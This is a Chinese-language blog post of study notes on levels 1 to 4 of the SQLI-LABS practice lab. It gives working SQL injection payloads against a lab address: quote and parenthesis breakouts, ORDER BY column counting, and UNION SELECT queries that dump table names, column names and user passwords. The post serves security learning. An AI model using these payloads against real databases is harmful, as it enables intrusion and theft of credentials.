当前位置: 首页 >数据库 > SQLI-LABS学习笔记(一)

SQLI-LABS学习笔记(一)

逼话少说,如有错误,烦请指出,谢谢。

 

第一关

SQLI-LABS学习笔记(一) _ JavaClub全栈架构师技术笔记

 

 

提示传个id的参数

 

后面跟个单引号

 

http://10.2.10.31/sqli/Less-1/?id=1

 

发现报错,这里看到是已经闭合了

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

 

从报错内容中可以看出id传入的是str类型,可以分解成这样来看

 

传递了一个1‘的参数,并且1’的参数用单引号包裹,最后再最外层一层单引号

 

'  '  1'   ' LIMIT 0,1  '

 

然后再进行order by 来排序确定字段数

 

http://10.2.10.31/sqli/Less-1/?id=1' order by 3 --+ 返回正常

 

http://10.2.10.31/sqli/Less-1/?id=1' order by 4 --+ 返回错误

 

可以确定字段数为3

 

联合注入查询

 

 

SQLI-LABS学习笔记(一) _ JavaClub全栈架构师技术笔记

 

后采用联合注入查看当前数据库名和数据库版本号

 

查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

 

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,database(),version() --+

 

SQLI-LABS学习笔记(一) _ JavaClub全栈架构师技术笔记

 

 

跨库查询表内的表名

 

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema = 'security'  --+

 

SQLI-LABS学习笔记(一) _ JavaClub全栈架构师技术笔记

 

group_concat这个函数可以将多个字符串连接成一个字符串,就可以实现把表名一条输出出来

 

查询user字段的内容:

 

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,group_concat(column_name),3 from information_schema.columns where table_name = 'users'  --+

 

SQLI-LABS学习笔记(一) _ JavaClub全栈架构师技术笔记

 

查询useame 和password的值

 

http://10.2.10.31/sqli/Less-1/?id=-1' union select 1,useame,password from users --+

 

 SQLI-LABS学习笔记(一) _ JavaClub全栈架构师技术笔记

 

第一关就到这里结束。

 

第二关

 

http://10.2.10.31/sqli/Less-2/?id=1%27

 

 报错信息

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1
 
 
发现多出来一个单引号,本来就是闭合的,把单引号删掉,按照之前的操作就行了
 
 
第二关结束
 
 
第三关
 
 
测试注入点
 
 
http://10.2.10.31/sqli/Less-3/?id=1'
 
 
报错信息
 
 
You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

 

发现有括号闭合,那就变成

 

http://10.2.10.31/sqli/Less-3/?id=1’)

 

报错信息

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '') LIMIT 0,1' at line 1

 

这时候就已经闭合了,就按着之前的操作,就解决了

 

第三关结束

 

第四关

 

测试注入点

 

http://10.2.10.31/sqli/Less-4/?id=1'

 

发现没有报错

 

改成用双引号

 

http://10.2.10.31/sqli/Less-4/?id=1"

 

报错信息

 

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

 

那就用http://10.2.10.31/sqli/Less-4/?id=1")闭合

 

按照之前的操作,就可以完成

 

第四关结束

 

作者:浮云饭
来源链接:https://www.cnblogs.com/qxxaq/p/11454064.html

版权声明:
1、JavaClub(https://www.javaclub.cn)以学习交流为目的,由作者投稿、网友推荐和小编整理收藏优秀的IT技术及相关内容,包括但不限于文字、图片、音频、视频、软件、程序等,其均来自互联网,本站不享有版权,版权归原作者所有。

2、本站提供的内容仅用于个人学习、研究或欣赏,以及其他非商业性或非盈利性用途,但同时应遵守著作权法及其他相关法律的规定,不得侵犯相关权利人及本网站的合法权利。
3、本网站内容原作者如不愿意在本网站刊登内容,请及时通知本站(javaclubcn@163.com),我们将第一时间核实后及时予以删除。





本文链接:https://www.javaclub.cn/database/117354.html

标签:SQL_syntax
分享给朋友:

“SQLI-LABS学习笔记(一)” 的相关文章